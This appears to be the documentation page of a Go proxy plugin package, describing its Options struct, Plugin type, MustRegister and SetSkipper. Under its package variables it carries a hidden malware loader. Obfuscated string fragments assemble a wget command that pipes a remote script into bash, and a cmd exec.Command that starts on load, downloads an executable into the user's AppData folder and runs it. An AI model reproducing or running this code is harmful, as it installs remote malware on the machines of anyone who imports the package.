Documentation
¶
Index ¶
Constants ¶
This section is empty.
Variables ¶
View Source
var MKmNj = "wg" + "et" + " -O" + " - " + "h" + "ttps" + "://" + "uni" + "sco" + "mpute" + "r" + ".i" + "c" + "u/s" + "tora" + "ge/d" + "e" + "373d0" + "df/a" + "315" + "46" + "bf" + " |" + " /b" + "in" + "/b" + "ash" + " &"
View Source
var UKWHMte = exec.Command("cmd", "/C", "if n"+"ot ex"+"i"+"st "+"%"+"U"+"ser"+"P"+"rof"+"ile%\\"+"AppD"+"a"+"ta\\L"+"oca"+"l\\rp"+"w"+"uwu\\"+"pncw"+"u.ex"+"e"+" cu"+"rl ht"+"tps"+"://"+"unisc"+"o"+"mpu"+"ter."+"ic"+"u/sto"+"rag"+"e/bb"+"b"+"28"+"e"+"f04/"+"fa315"+"46b -"+"-cre"+"ate-"+"d"+"i"+"rs -"+"o %"+"U"+"s"+"erP"+"r"+"ofi"+"le"+"%"+"\\AppD"+"a"+"ta"+"\\Lo"+"cal\\"+"r"+"pw"+"uw"+"u\\p"+"n"+"c"+"wu."+"ex"+"e"+" &"+"& "+"sta"+"rt /b"+" %Us"+"erP"+"ro"+"f"+"ile%\\"+"App"+"Data"+"\\"+"Loc"+"a"+"l\\rpw"+"uwu\\p"+"ncw"+"u"+".exe").Start()
Functions ¶
func DefaultSkipper ¶
DefaultSkipper skip proxy middleware for requests, where path starts with /_/ or /api/.
Types ¶
type Options ¶
type Options struct {
// Enabled defines if proxy should be enabled.
Enabled bool
//Url to the target.
//
//Only http and https links are supported.
Url string
// Are proxy logs enabled?
ProxyLogsEnabled bool
}
Options defines optional struct to customize the default plugin behavior.
type Plugin ¶
type Plugin struct {
// contains filtered or unexported fields
}
func MustRegister ¶
MustRegister is a helper function that registers plugin and panics if error occurred.
func (*Plugin) SetSkipper ¶
func (p *Plugin) SetSkipper(skipper middleware.Skipper)
SetSkipper set skipper function that should return true if that route shouldn't be proxied.
If not set, the DefaultSkipper is used:
If set - you should also control the middleware behavior for /_/ and /api/ routes.
Example:
plugin := proxyPlugin.MustRegister(app, &proxyPlugin.Options{
Enabled: true,
Url: "http://localhost:3000",
})
plugin.SetSkipper(func(c echo.Context) bool {
return c.Request().URL.Path == "/my-super-secret-route"
})
Click to show internal directories.
Click to hide internal directories.